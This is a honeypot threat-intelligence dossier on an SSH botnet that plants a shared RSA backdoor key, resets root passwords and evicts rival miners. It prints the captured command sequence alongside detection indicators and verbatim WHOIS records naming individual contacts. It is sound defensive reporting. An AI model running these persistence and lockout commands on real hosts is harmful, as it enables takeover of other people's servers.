LSN โ€” Local Sovereign Network

๐ŸŸ  ACTIVE โ€” Backdoor-Key Harvester Botnet ยท 31 Compromised Linux Hosts ยท 34+ Days ยท Still Running

TI-2026-008 โ€” "The Backdoor-Key Harvester" โ€” One SSH Key, 31 Hosts, 22 Countries, 34 Days

A coordinated Outlaw / Shellbot-family Linux botnet that brute-forces SSH, installs the same RSA public key on every victim, rotates a unique 12-character root password per host, and evicts rival miners โ€” but drops no payload. The compromised hosts are then re-purposed as scanners against new targets. Campaign window 2026-03-28 โ†’ 2026-05-01 (ongoing). Two new droppers hit our cowrie during the writing of this dossier.
๐Ÿ”‘ Backdoor-Key Persistence Outlaw / Shellbot Family 31 Compromised Hosts Rival-Miner Eviction 22 Countries ยท 4 Continents Cloud + Residential ISPs Per-Victim Password Rotation Active Campaign

Between 2026-03-28 and 2026-05-01 (and still running as this dossier is published) a single Cowrie SSH honeypot captured a coordinated Outlaw / Shellbot-family Linux botnet operating across 31 compromised hosts in 22 countries. The toolkit is unusually clean: no malware download, no miner drop. The implant is a single RSA public key written into ~/.ssh/authorized_keys, plus a unique 12-character root password set via chpasswd per victim, plus the killing of any rival self-defense scripts (secure.sh, auth.sh) and the flushing of /etc/hosts.deny. The droppers are themselves victims of an earlier compromise โ€” Linux servers belonging to Korean labour unions, Indonesian ERP installs, Brazilian small-ISP customers, an Israeli dev environment, a Microsoft Azure ODOO ERP instance, multiple DigitalOcean and Google Cloud and Hetzner VMs โ€” repurposed as scanners. The operator harvests the implanted-key footprint and returns later, from clean infrastructure that does not appear in our logs.

This dossier reproduces every WHOIS identifier the public RIRs return for every IP that touched the honeypot. Names of registered persons, street addresses, contact handles, abuse mailboxes, AS numbers, and netblock allocation timestamps appear exactly as the registries return them. We are not the judges of who is responsible for what. We are the providers of what the records say. The honeypot caught what it caught.

๐Ÿฏ Honeypot Collection โ€” 34+ days, ongoing
31
Dropper IPs (compromised hosts)
22+
Countries / 4 continents
1
Shared RSA backdoor key
34+
Days active (and counting)
0
Malware payloads dropped

The same five-command opening runs on every dropper, in this order, separated by ~700 ms. We confirmed identical sequences across all 31 hosts; only the per-victim random password in step 4 rotates. The whole sequence โ€” including the recon block โ€” exits within ~60 seconds.

1 ยท UNLOCK
Strip immutable bit on .ssh
cd ~; chattr -ia .ssh; lockr -ia .ssh
2 ยท IMPLANT
Wipe + install backdoor key
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv..." > .ssh/authorized_keys
3 ยท PROFILE
First fingerprint โ€” CPU count
cat /proc/cpuinfo | grep name | wc -l
4 ยท LOCK ROOT
Reset root password (12-char random, rotates per victim) ยท falls through to passwd interactive on hardened hosts
echo "root:<12-char random>"|chpasswd|bash
5 ยท EVICT
Kill rival self-defense scripts ยท flush /etc/hosts.deny ยท the family signature
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep
๐Ÿ“ก Then a recon block โ€” 10 more commands, always the same
cpuinfo ยท free -m ยท df ยท uname -a ยท w ยท crontab -l ยท lscpu ยท whoami ยท top
โš ๏ธ Why step 5 is the Outlaw / Shellbot signature

secure.sh and auth.sh are well-known self-defense scripts that prior Outlaw / Shellbot infections drop on victims to keep rivals out. This toolkit kills them by name. echo > /etc/hosts.deny flushes any TCP-wrappers blocklist a sysadmin set up. The implant evicts the previous tenant before moving in.

IndicatorValue
RSA pubkey MD5 fingerprint13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61
Pubkey blob prefix (grep target)AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv
RSA exponent0x25 (37) โ€” non-standard; ssh-keygen defaults to 65537
Toolkit binary markerlockr โ€” non-standard; semantic equivalent of chattr -ia
Cleanup signaturepkill -9 secure.sh auth.sh; rm -rf /tmp/secure.sh /tmp/auth.sh; echo > /etc/hosts.deny
Dropper SSH clientSSH-2.0-libssh_0.12.0 ยท HASSH af8223ac9914f509afdadfaf5f7ee94e (common โ€” not unique to this campaign)
Per-victim password samplesKqRMG0ONe7kW ยท lE21yDVYl56A ยท EDuNDILKDWqQ ยท JWpKedT9Iw41 ยท 1CEbpvwt5wH2 ยท pxurA5RmZO0Y ยท pOF9zVxmOvZ2 ยท iiEFqa6fjrOj ยท CqHlyKdqZz65 ยท jMjSKvTynORU ยท Polisyjk9Rg9 ยท 5Zjj4sMFny1E
โšก One-line check for any Linux host
grep -rF 'AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv' /root/.ssh /home/*/.ssh /etc/ssh 2>/dev/null

Silent output means clean. Any hit means rebuild.

31
Compromised hosts
29d 6h
Longest single span (52.177.169.196)
04-11
Peak day โ€” 6 nodes active
2
Active during dossier writing

One row per IP. Full WHOIS records with registered persons and addresses appear in the section below. "First โ†’ last seen" reflects activity against our honeypot only. Rows highlighted in red were active today (2026-05-01).

IPOrigin ASCCReverse DNS / Shodan signalFirst โ†’ last seen (UTC)Span
103.173.154.45AS135905๐Ÿ‡ป๐Ÿ‡ณ VNโ€”03-28 21:29 โ†’ 03-31 13:492d 16h
182.93.50.90AS4609 CTM-MO๐Ÿ‡ฒ๐Ÿ‡ด MOn18293z50l90.static.ctmip.net03-30 06:51 โ†’ 04-19 04:2219d 21h
45.175.37.29AS267843 TCA SERVICES๐Ÿ‡ป๐Ÿ‡ช VEโ€”03-31 04:02 โ†’ 04-14 22:1014d 18h
52.177.169.196AS8075 Microsoft๐Ÿ‡บ๐Ÿ‡ธ USSRVODOOERP.*.cloudapp.net03-31 23:59 โ†’ 04-30 06:0129d 6h
175.107.32.186AS23888 NTC PK๐Ÿ‡ต๐Ÿ‡ฐ PKscanner-tagged03-29 19:16 โ†’ 04-04 23:156d 4h
103.139.192.188AS136052 IDCloudHost๐Ÿ‡ฎ๐Ÿ‡ฉ IDip103-139-192-188.cloudhost.web.id04-01 05:21 โ†’ 04-01 06:1554m
103.49.239.212AS136052 IDCloudHost๐Ÿ‡ฎ๐Ÿ‡ฉ IDip103-49-239-212.cloudhost.web.id ; www.exama.id04-01 14:50 โ†’ 04-21 23:2120d 8h
156.238.236.46AS401696 COGNETCLOUD๐Ÿ‡ญ๐Ÿ‡ฐ HK / ๐Ÿ‡ธ๐Ÿ‡จ SCโ€”04-02 06:50 โ†’ 04-03 06:2723h 36m
188.226.168.173AS14061 DigitalOcean๐Ÿ‡ณ๐Ÿ‡ฑ NLdev.boomer.co.il04-02 17:30 โ†’ 04-11 11:068d 17h
212.154.234.9AS50482 KazakhTelecom๐Ÿ‡ฐ๐Ÿ‡ฟ KZโ€”04-02 23:37 โ†’ 04-17 21:2614d 21h
68.183.236.1AS14061 DigitalOcean๐Ÿ‡บ๐Ÿ‡ธ USshms-erp.com04-03 17:55 โ†’ 04-03 19:031h 8m
187.16.96.250AS17222 Mundivox๐Ÿ‡ง๐Ÿ‡ท BRmvx-187-16-96-250.mundivox.com04-04 14:09 โ†’ 04-28 06:4423d 16h
143.198.235.14AS14061 DigitalOcean๐Ÿ‡บ๐Ÿ‡ธ UScaly.getpictoria.app04-04 22:09 โ†’ 04-04 22:5949m
165.154.22.6AS135377 UCLOUD-HK๐Ÿ‡ญ๐Ÿ‡ฐ HKโ€”04-05 18:56 โ†’ 04-05 19:5256m
35.237.94.18AS396982 Google Cloud๐Ÿ‡บ๐Ÿ‡ธ USgoogleusercontent.com04-05 23:11 โ†’ 04-11 11:085d 11h
101.47.159.125AS150436 BytePlus๐Ÿ‡ธ๐Ÿ‡ฌ SGโ€”04-09 16:01 โ†’ 04-11 00:331d 8h
103.107.60.45AS137151 Greenworld Netcast๐Ÿ‡ฎ๐Ÿ‡ณ INโ€”04-09 15:28 โ†’ 04-15 00:225d 8h
114.207.246.197AS9318 SK Broadband๐Ÿ‡ฐ๐Ÿ‡ท KRmail2.uniforce.or.kr04-11 04:38 โ†’ 04-18 21:427d 17h
58.229.141.26AS9318 SK Broadband๐Ÿ‡ฐ๐Ÿ‡ท KRโ€”04-11 04:37 โ†’ 04-19 03:507d 23h
198.98.56.205AS53667 FranTech (PONYNET)๐Ÿ‡บ๐Ÿ‡ธ USbullshit-irc.net04-11 10:29 โ†’ 04-11 11:0636m
209.97.168.111AS14061 DigitalOcean๐Ÿ‡บ๐Ÿ‡ธ USโ€”04-11 10:28 โ†’ 04-11 11:1243m
103.163.116.84AS141745 Moghbazar๐Ÿ‡ง๐Ÿ‡ฉ BDโ€”04-11 10:29 โ†’ 04-11 11:1546m
101.47.156.170AS150436 BytePlus๐Ÿ‡ธ๐Ÿ‡ฌ SGโ€”04-14 04:54 โ†’ 04-14 07:102h 16m
74.243.239.219AS8075 Microsoft๐Ÿ‡บ๐Ÿ‡ธ USโ€”04-17 20:48 โ†’ 04-17 21:3143m
103.146.23.145AS131366 LANIT VN๐Ÿ‡ป๐Ÿ‡ณ VNโ€”04-17 20:46 โ†’ 04-17 21:3043m
185.193.240.246AS212645 GLOBALSAT MK๐Ÿ‡ฒ๐Ÿ‡ฐ MKscanner-tagged04-20 11:04 โ†’ 04-20 11:4137m
91.99.110.230AS24940 Hetzner๐Ÿ‡ฉ๐Ÿ‡ช DEstatic.230.110.99.91.clients.your-server.de04-21 02:37 โ†’ 04-21 10:558h 18m
197.199.224.52AS36992 Etisalat Misr๐Ÿ‡ช๐Ÿ‡ฌ EGhost-197.199.224.52.etisalat.com.eg04-24 01:33 โ†’ 04-24 02:1541m
103.187.146.90AS138608 Cloud Host Pte Ltd๐Ÿ‡ฎ๐Ÿ‡ฉ ID / ๐Ÿ‡ธ๐Ÿ‡ฌ SGip103-187-146-90.cloudhost.web.id04-29 22:53 โ†’ 04-29 23:4653m
79.174.63.130AS47119 Ufanet๐Ÿ‡ท๐Ÿ‡บ RUโ€”05-01 05:01 โ†’ 05-01 06:041h 2m
144.79.187.31AS138000 PT Antar Fiber Optik (allocated 2025-12-22)๐Ÿ‡ฎ๐Ÿ‡ฉ IDโ€”05-01 15:58 โ†’ 05-01 16:2628m
โฑ Two of these IPs hit the honeypot during the writing of this dossier (rows highlighted). The campaign is a current event, not a closed historical case.
๐Ÿ“œ Editorial principle for this section

Each card below reproduces the public WHOIS record from the relevant Regional Internet Registry (RIPE / APNIC / AFRINIC / LACNIC / ARIN) for the netblock containing the dropper IP. Names, addresses, contact handles, abuse mailboxes, maintainers, and registration timestamps appear exactly as the registry returns them โ€” verbatim, no paraphrasing, no redaction.

103.173.154.45
๐Ÿ‡ป๐Ÿ‡ณ VN
  • inetnum: 103.173.154.0 - 103.173.155.255 โ€” netname: THANHLONG-VN
  • descr: THANH LONG TRAFFIC CONSTRUCTION CONSULTING COMPANY LIMITED
  • address: No.1, Alley 23/69/75, Group 4 Phu Dien, Phu Dien Ward, Bac Tu Liem District, Ha Noi City
  • admin-c / tech-c: DVN7-AP โ€” person: Dao Van Nghi ยท +84 986552681 ยท thanh.long@hoidoanhnghiepmoi.com
  • mnt-by: MAINT-VN-VNNIC ยท route: 103.173.154.0/24 โ†’ origin: AS135905
182.93.50.90
๐Ÿ‡ฒ๐Ÿ‡ด MO
  • inetnum: 182.93.0.0 - 182.93.63.255 โ€” netname: CTM-AS-AP
  • org-name: Companhia de Telecomunicacoes de Macau ยท Rua da Lagos, Telecentro, P.O. Box 868, Taipa, Macau ยท +853-891-2211
  • admin-c: CN448-AP (CTM NOC) ยท tech-c: CM2469-AP (CTM Mcenter, +853 8891 2211)
  • abuse-mailbox: NMC_Internet_LeasedLine@ctm.com.mo ยท mnt-by: APNIC-HM, MAINT-CTM-MO
  • route: 182.93.50.0/24 (CTM Internet Service) โ†’ origin: AS4609
45.175.37.29
๐Ÿ‡ป๐Ÿ‡ช VE
  • inetnum: 45.175.36.0/22 โ€” status allocated ยท owner: TCA SERVICES C.A. ยท ownerid: VE-TSCA-LACNIC
  • address: Av. Francisco Solano Lopez, Pasaje La Concordia, Piso 6, Caracas VE, 6H โ€” 1080 - CARACAS - DC ยท +58 2127626530
  • tech-c: SOR2 โ€” person: Socrates Romay ยท socrates@tcascorp.com ยท Av. Bello Monte / Leonardo DaVinci, 11-C, C.C. Bello Monte, Nivel 11, 1080 Caracas DF ยท +58 2614143204055
  • created: 2019-05-02 (LACNIC) ยท BGP origin AS: AS267843 TCA SERVICES C.A.
52.177.169.196
๐Ÿ‡บ๐Ÿ‡ธ US (Microsoft Azure)
  • NetRange: 52.145.0.0 - 52.191.255.255 (CIDR 52.148.0.0/14, 52.146.0.0/15, 52.152.0.0/13, 52.160.0.0/11, 52.145.0.0/16) ยท NetName: MSFT
  • OrgName: Microsoft Corporation ยท One Microsoft Way, US ยท RegDate 2015-11-24
  • BGP origin AS: AS8075 MICROSOFT-CORP-MSN-AS-BLOCK ยท Reverse DNS: SRVODOOERP.xklwuxwk2daute2h4zefcgdzvf.cx.internal.cloudapp.net (Azure tenant ODOO ERP instance)
175.107.32.186
๐Ÿ‡ต๐Ÿ‡ฐ PK
  • inetnum: 175.107.0.0 - 175.107.63.255 ยท netname: NTCISP-PK ยท org-name: National Telecommunication Corporation
  • address: NTC Headquarters Sector F-5/1, Islamabad ยท +92-51-9208686 ยท +92-51-9208809
  • admin-c / tech-c: NTCA1-AP ยท contact emails: zahir.abbas@ntc.org.pk ยท talha.javaid@ntc.net.pk ยท ispsupport@ntc.net.pk
  • mnt-by: APNIC-HM, MAINT-PK-ZAHIR, MAINT-PK-WAHEED ยท route: 175.107.32.0/24 โ†’ origin: AS23888
103.139.192.188
๐Ÿ‡ฎ๐Ÿ‡ฉ ID
  • inetnum: 103.139.192.0 - 103.139.193.255 ยท netname: IDNIC-HALTO-ID ยท descr: PT. Halto Petirah Angrowangi (Corporate / Direct Member IDNIC)
  • address: Jl. Kalijati Indah Sel. No.12, Antapani Kulon, Kec. Antapani, Kota Bandung, Jawa Barat
  • admin-c / tech-c: IH123-AP ยท secondary: IA55-AP, IH288-AP ยท abuse-mailbox: abuse@idnic.net ยท hostmaster@apjii.or.id
  • mnt-by: MNT-APJII-ID ยท status ALLOCATED PORTABLE ยท BGP origin AS: AS136052 IDNIC-IDCLOUDHOST-AS-ID PT Cloud Hosting Indonesia (announced)
103.49.239.212
๐Ÿ‡ฎ๐Ÿ‡ฉ ID (two overlapping inetnums)
  • (a) inetnum: 103.49.238.0 - 103.49.239.255 ยท netname: IDNIC-SALKAKOLABORASI-ID ยท descr: CV Salka Kolaborasi Indonesia (Corporate / Direct Member IDNIC) ยท address: Jalan Eka Tunggal Ujung, Perumahan Salsabila Regency 3 Blok A Nomor 3, Kec. Tuah Madani, Pekanbaru, Riau
  • admin-c / tech-c: RH1028-AP โ€” person: Roni Hidayat ยท Sidomulyo Barat ยท +62-811-7577-182 ยท tech@salki.my.id ยท abuse-mailbox: abuse@salki.my.id ยท mnt-by: MNT-APJII-ID, MAINT-ID-SALKAKOLABORASI
  • (b) inetnum: 103.49.239.0 - 103.49.239.255 ยท netname: IDNIC-IDCLOUDHOST-ID ยท descr: PT Cloud Hosting Indonesia ยท address: Pinus Raya Reni Jaya AG-1 No.01, Pamulang Barat, Pamulang, Tangerang Selatan, Banten
  • admin-c / tech-c: APS20-AP โ€” person: Alfian Pamungkas Sakawiguna ยท Jl. Bojonggenteng No.2, Sukabumi, Jawa Barat ยท +62-266-620073 ยท abuse-mailbox: admin@idcloudhost.com ยท mnt-by: MAINT-ID-IDCLOUDHOST
  • route: 103.49.239.0/24 (Route Object Of PT. Cloud Hosting Indonesia) โ†’ origin: AS136052
156.238.236.46
๐Ÿ‡ญ๐Ÿ‡ฐ HK (inetnum) / ๐Ÿ‡ธ๐Ÿ‡จ SC (registrant entity)
  • NetRange: 156.238.0.0 - 156.238.255.255 (allocated by AFRINIC, ERX from earlier ARIN allocation)
  • inetnum: 156.238.236.0 - 156.238.236.255 ยท netname: cognetcloud_INC ยท descr: cognetcloud INC ยท country: HK
  • admin-c / tech-c: CIS1-AFRINIC โ€” person: Cloud Innovation Support ยท Ebene MU / Mahe, Seychelles ยท +248-4-610-795 ยท abuse-mailbox: abuse@cloudinnovation.org
  • mnt-by: CIL1-MNT, LARUS-SERVICE-MNT ยท BGP origin AS: AS401696 COGNETCLOUD (US-listed entity, AFRINIC inetnum, registrant address in Seychelles)
188.226.168.173
๐Ÿ‡ณ๐Ÿ‡ฑ NL (DigitalOcean Amsterdam)
  • inetnum: 188.226.128.0 - 188.226.191.255 ยท netname: DIGITALOCEAN-AMS-4 ยท descr: Digital Ocean, Inc.
  • person: DigitalOcean Network Operations ยท 105 Edgeview Drive, Suite 425, Broomfield, Colorado 80021, United States of America ยท +1 646-827-4366 ยท mnt-by: digitalocean
  • BGP origin AS: AS14061 DIGITALOCEAN-ASN ยท Reverse DNS: dev.boomer.co.il
212.154.234.9
๐Ÿ‡ฐ๐Ÿ‡ฟ KZ
  • inetnum: 212.154.234.8 - 212.154.234.15 (a /29 sub-allocation) ยท netname: IP_HELIOS_SOFT
  • descr: Co-location ยท LLC "HELIOS SOFT" ยท Akkol
  • admin-c / tech-c: DP17366-RIPE โ€” person: Denis Puzikov ยท 050000 Almaty, Kurgalzhinskoe shosse 19/T app.501, KZ ยท +7 701 850 36 77
  • mnt-by: KNIC-MNT ยท status ASSIGNED PA ยท created 2024-02-29 ยท BGP origin AS: AS50482 KAZAKHTELECOM-AS
68.183.236.1
๐Ÿ‡บ๐Ÿ‡ธ US (DigitalOcean)
  • NetRange: 68.183.0.0 - 68.183.255.255 ยท NetName: DIGITALOCEAN-68-183-0-0 ยท OrgName: DigitalOcean, LLC (DO-13) ยท 105 Edgeview Drive, Suite 425, US ยท RegDate 2018-09-18
  • BGP origin AS: AS14061 DIGITALOCEAN-ASN ยท Reverse DNS: shms-erp.com
187.16.96.250
๐Ÿ‡ง๐Ÿ‡ท BR
  • inetnum: 187.16.64.0/18 ยท owner: MUNDIVOX DO BRASIL LTDA ยท ownerid: 03.580.510/0002-54 ยท created 2008-09-24
  • tech-c: AIJ6 โ€” person: Alberto Ivan Duran de la Jara ยท created 2001-07-10
  • BGP origin AS: AS17222 MUNDIVOX DO BRASIL LTDA ยท Reverse DNS: mvx-187-16-96-250.mundivox.com
143.198.235.14
๐Ÿ‡บ๐Ÿ‡ธ US (DigitalOcean)
  • NetRange: 143.198.0.0 - 143.198.255.255 ยท NetName: DIGITALOCEAN-143-198-0-0 ยท OrgName: DigitalOcean, LLC (DO-13) ยท 105 Edgeview Drive, Suite 425, US ยท RegDate 2020-01-24
  • BGP origin AS: AS14061 DIGITALOCEAN-ASN ยท Reverse DNS: caly.getpictoria.app
165.154.22.6
๐Ÿ‡ญ๐Ÿ‡ฐ HK
  • inetnum: 165.154.22.0 - 165.154.22.255 ยท netname: UCLOUD-HK ยท descr: UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED
  • address: FLAT/RM 603 6/F, LAWS COMMERCIAL PLAZA, 788 CHEUNG SHA WAN ROAD, KL, Hong Kong
  • admin-c / tech-c: UITH2-AP ยท pn-wan@ucloud.cn ยท u-ipnic@ucloud.cn ยท abuse-mailbox: hegui@ucloud.cn ยท mnt-by: MAINT-UCLOUD-HK
  • route: 165.154.22.0/24 โ†’ origin: AS135377 (also seen via AS62610)
35.237.94.18
๐Ÿ‡บ๐Ÿ‡ธ US (Google Cloud)
  • NetRange: 35.208.0.0 - 35.247.255.255 ยท NetName: GOOGLE-CLOUD ยท OrgName: Google LLC (GOOGL-2) ยท 1600 Amphitheatre Parkway, US ยท RegDate 2017-09-29
  • BGP origin AS: AS396982 GOOGLE-CLOUD-PLATFORM ยท Reverse DNS: 18.94.237.35.bc.googleusercontent.com
101.47.159.125 + 101.47.156.170
๐Ÿ‡ธ๐Ÿ‡ฌ SG (BytePlus / ByteDance, same /21)
  • inetnum: 101.47.112.0 - 101.47.255.255 ยท netname: BYTEPLUS-SG ยท descr: BYTEPLUS
  • address: 1 Raffles Quay, #26-10, South Tower, Singapore 048583 ยท +65-6950-4420
  • admin-c / tech-c: BPLA13-AP ยท abuse-mailbox: bd_abuse@bytedance.com ยท mnt-by: MAINT-BYTEPLUS-SG ยท status ALLOCATED NON-PORTABLE
  • route: 101.47.159.0/24 + 101.47.156.0/24 โ†’ origin: AS150436 Byteplus Pte. Ltd.
103.107.60.45
๐Ÿ‡ฎ๐Ÿ‡ณ IN
  • inetnum: 103.107.60.0 - 103.107.63.255 ยท netname: GNPLISP ยท descr: Greenworld Netcast Private Limited
  • address: 219, JIMMI TOWER, OPP. SWAMINARAYAN GURUKUL, GONDAL
  • admin-c / tech-c: KP439-AP โ€” person: KETANKUMAR PETHANI ยท +91 7227891031 ยท ketan7390@gmail.com ยท abuse-mailbox: GNPLISP@GMAIL.COM ยท contact: GREENWORLD.RAJKOT@gmail.com
  • mnt-by: MAINT-IN-IRINN, MAINT-IN-GNPLISP ยท status ASSIGNED PORTABLE ยท route: 103.107.60.0/24 โ†’ origin: AS137151
114.207.246.197 + 58.229.141.26
๐Ÿ‡ฐ๐Ÿ‡ท KR (SK Broadband, same operator)
  • inetnums: 114.200.0.0 - 114.207.255.255 (for 114.207.246.197) ยท 58.224.0.0 - 58.239.255.255 (for 58.229.141.26)
  • netname: broadNnet (KRNIC: broadNnet-KR) ยท descr: SK Broadband Co Ltd ยท address (block): 9, Jinheung-gil, Naju-si, Jeollanam-do
  • admin-c / tech-c: IM670-AP / IM574-AP / IM12-KR โ€” person: IP Manager ยท Seoul Jung-gu Toegye-ro 24 ยท +82-80-828-2106 ยท ip-adm@skbroadband.com ยท abuse-mailbox: irt@nic.or.kr
  • mnt-by: MNT-KRNIC-AP ยท BGP origin AS: AS9318 SKB-AS
  • Reverse DNS (114.207.246.197): mail2.uniforce.or.kr ยท uniforce.or.kr
198.98.56.205
๐Ÿ‡บ๐Ÿ‡ธ US (FranTech / PONYNET)
  • NetRange: 198.98.48.0 - 198.98.63.255 (CIDR 198.98.48.0/20) ยท NetName: PONYNET-06
  • OrgName: FranTech Solutions (SYNDI-5) ยท 1621 Central Ave, US ยท RegDate 2010-07-21 ยท netblock allocated 2012-07-05
  • BGP origin AS: AS53667 PONYNET ยท Reverse DNS: bullshit-irc.net (cross-reference TI-2026-007 โ€” same hostname appeared as the mdrfckr IRC C2)
209.97.168.111
๐Ÿ‡บ๐Ÿ‡ธ US (DigitalOcean)
  • NetRange: 209.97.128.0 - 209.97.191.255 (CIDR 209.97.128.0/18) ยท NetName: DIGITALOCEAN-209-97-128-0
  • OrgName: DigitalOcean, LLC (DO-13) ยท 105 Edgeview Drive, Suite 425, US ยท RegDate 1997-07-03
  • BGP origin AS: AS14061 DIGITALOCEAN-ASN
103.163.116.84
๐Ÿ‡ง๐Ÿ‡ฉ BD
  • inetnum: 103.163.116.0 - 103.163.117.255 ยท netname: MOGHBAZARDOTNET-BD ยท org-name: Moghbazar Dot Net
  • address: 164/1 Noyatola, wireless rail gate, Dhaka 1217 ยท +88-01977743370
  • admin-c / tech-c: MDNA1-AP ยท contact email: admin@moghbazar.net ยท abuse-mailbox: mukit@moghbazar.net
  • mnt-by: APNIC-HM, MAINT-MOGHBAZARDOTNET-BD ยท route: 103.163.116.0/24 โ†’ origin: AS141745 ยท descr: Maksudur Rashed
74.243.239.219
๐Ÿ‡บ๐Ÿ‡ธ US (Microsoft)
  • NetRange: 74.240.0.0 - 74.243.255.255 (CIDR 74.240.0.0/14) ยท NetName: MSFT
  • Sub-allocation: 74.243.224.0 - 74.243.255.255 (CIDR 74.243.224.0/19) ยท NetName BLS-74-243-224-0-1003020949 ยท Address 575 Morosgo Dr. NE
  • OrgName: Microsoft Corporation ยท One Microsoft Way, US ยท BGP origin AS: AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
103.146.23.145
๐Ÿ‡ป๐Ÿ‡ณ VN
  • inetnum: 103.146.22.0 - 103.146.23.255 ยท netname: LANIT-VN ยท descr: Lanit Technology and Communication Joint Stock Company
  • address: 3B, 52 Alley, 43 lane, Cau Coc str., Tay Mo, Nam Tu Liem, Hanoi City
  • admin-c / tech-c: PVD11-AP โ€” person: Pham Van Duc ยท LANIT-VN ยท +84-912686938 ยท duc@lanit.com.vn ยท abuse-mailbox: hm-changed@vnnic.vn
  • mnt-by: MAINT-VN-VNNIC ยท route: 103.146.23.0/24 โ†’ origin: AS131366
185.193.240.246
๐Ÿ‡ฒ๐Ÿ‡ฐ MK
  • inetnum: 185.193.240.0 - 185.193.240.255 ยท netname: MK-GLOBALSAT-20200916 ยท org-name: GLOBALSAT DOOEL
  • address: Ulica 38 br.22 Stajkovci, 1040 Skopje, NORTH MACEDONIA ยท +389 78 608808
  • admin-c / tech-c: CA9820-RIPE ยท mnt-by: mnt-mk-ineltehnik-1, RIPE-NCC-HM-MNT, MNT-LOWER_KAV ยท created 2020-09-16
  • route: 185.193.240.0/24 (GLOBALSAT /24) โ†’ origin: AS212645
91.99.110.230
๐Ÿ‡ฉ๐Ÿ‡ช DE (Hetzner)
  • inetnum: 91.99.96.0 - 91.99.111.255 ยท netname: CLOUD-NBG1 ยท org-name: Hetzner Online GmbH
  • address: Industriestrasse 25, D-91710 Gunzenhausen, GERMANY ยท +49 9831 5050
  • admin-c: HOAC1-RIPE, MF1400-RIPE, GM834-RIPE, MH375-RIPE, SK2374-RIPE, SK8441-RIPE
  • tech-c: GM834-RIPE, SK2374-RIPE, MF1400-RIPE, SK8441-RIPE, DD15478-RIPE ยท abuse-mailbox: abuse@hetzner.com
  • mnt-by: HOS-GUN, RIPE-NCC-HM-MNT ยท created 2025-05-19 ยท route: 91.99.0.0/16 (HETZNER-DC) โ†’ origin: AS24940 ยท Reverse DNS: static.230.110.99.91.clients.your-server.de
197.199.224.52
๐Ÿ‡ช๐Ÿ‡ฌ EG
  • inetnum: 197.199.224.0 - 197.199.255.255 ยท netname: EM-2 ยท descr: Network used for 3G Web Users
  • admin-c / tech-c: SMM2-AFRINIC โ€” person: Sherif Magdy Mohamed ยท Etisalat Misr ยท S4 Down Town, 90th Street, 5th Compound, New Cairo, Egypt, Cairo 11835 ยท +20-2-35381000
  • mnt-by: etisalat-mnt, GENERATED-BDVY6DBBH98KLPSUIXSD5SUX8WDCVXTF-MNT
  • route: 197.199.224.0/24 (Etisalat Misr Mobile BB) โ†’ origin: AS36992 ETISALAT-MISR ยท Reverse DNS: host-197.199.224.52.etisalat.com.eg
103.187.146.90
๐Ÿ‡ฎ๐Ÿ‡ฉ ID (registrant entity ๐Ÿ‡ธ๐Ÿ‡ฌ SG)
  • inetnum: 103.187.146.0 - 103.187.146.255 ยท netname: CLOUDHOST-SG ยท descr: Cloud Host Pte Ltd ยท BYOIP
  • address (org): 10 Anson Road, #27-15, International Plaza, Singapore Singapore 079903 ยท country (inetnum): ID ยท country (registrant person): SG
  • admin-c / tech-c: FRS9-AP โ€” person: Faisal Reza ST ยท +65 9855 3391 ยท abuse-mailbox: abuse@cloudhost.asia
  • mnt-by: MAINT-CLOUDHOSTSG-ID, MAINT-ID-GHAZAFA ยท status ASSIGNED NON-PORTABLE ยท last-modified 2026-03-09
  • BGP origin AS: AS138608 CLOUDHOST-AS-AP ยท Reverse DNS: ip103-187-146-90.cloudhost.web.id
79.174.63.130
๐Ÿ‡ท๐Ÿ‡บ RU (active 2026-05-01)
  • inetnum: 79.174.32.0 - 79.174.63.255 ยท netname: UBN ยท org-name: JSC "Ufanet"
  • address: 4/3 Pr. Octyabrya, 450001 Ufa, RUSSIAN FEDERATION (also: pr. Oktyabrya 4/3, Ufa, Russia) ยท +7 347 290 0405
  • admin-c: UN1646-RIPE / DK9362-RIPE ยท tech-c: UN1646-RIPE / RK10446-RIPE ยท abuse-mailbox: abuse@ufanet.ru
  • mnt-by: RIPE-NCC-END-MNT, UBN-MNT, RIPE-NCC-HM-MNT ยท status ASSIGNED PI ยท created 2008-04-28
  • route: 79.174.63.0/24 (JSC "Ufanet", Russia) โ†’ origin: AS47119
144.79.187.31
๐Ÿ‡ฎ๐Ÿ‡ฉ ID (newly allocated 2025-12-22, active 2026-05-01)
  • inetnum: 144.79.187.0 - 144.79.187.255 ยท netname: IDNIC-AFNET-ID ยท descr: PT Antar Fiber Optik (Corporate / Direct Member IDNIC)
  • address (block): Jl. Cinta Karya no.10, Desa/Kel. Sari Rejo, Kec. Medan Polonia, Kota Medan, Prov sumatera Utara 20157
  • admin-c / tech-c: FBH3-AP โ€” person: Frans Bernando Hutagalung ยท PT. Antar Fiber Optik ยท Jl. Prof. DR. Hamka no. 62, Kel. Bulian kec. Bajenis, prov. Sumatera Utara, 20612 ยท +62 813 6101 4282 ยท direktur@afnet.id
  • email / abuse: info@afnet.id ยท abuse@afnet.id ยท mnt-by: MNT-APJII-ID, MAINT-ID-AFNET ยท status ASSIGNED PORTABLE ยท last-modified 2025-12-24
  • BGP origin AS: AS138000 IDNIC-AFNET-ID PT Antar Fiber Optik ยท allocation date: 2025-12-22 โ€” newly minted block, four months old at time of attack
๐ŸŽฏ The 32nd IP โ€” at first glance, the smoking gun

One IP behaved differently from the 31 droppers: 139.19.117.129. It used SSH-2.0-Go, not libssh_0.12.0. Between 2026-04-04 and 2026-04-28 it logged 234 SSH attempts against our cowrie โ€” all of them publickey authentication using the same RSA key the droppers were installing. Zero successes. Zero commands. Just the key, over and over, against admin and root. The natural read: this is the campaign's harvest node, returning to log into compromised hosts.

๐Ÿ”„ Plot twist โ€” reverse DNS
$ dig +short -x 139.19.117.129
inet-research-scan-5.mpi-inf.mpg.de.

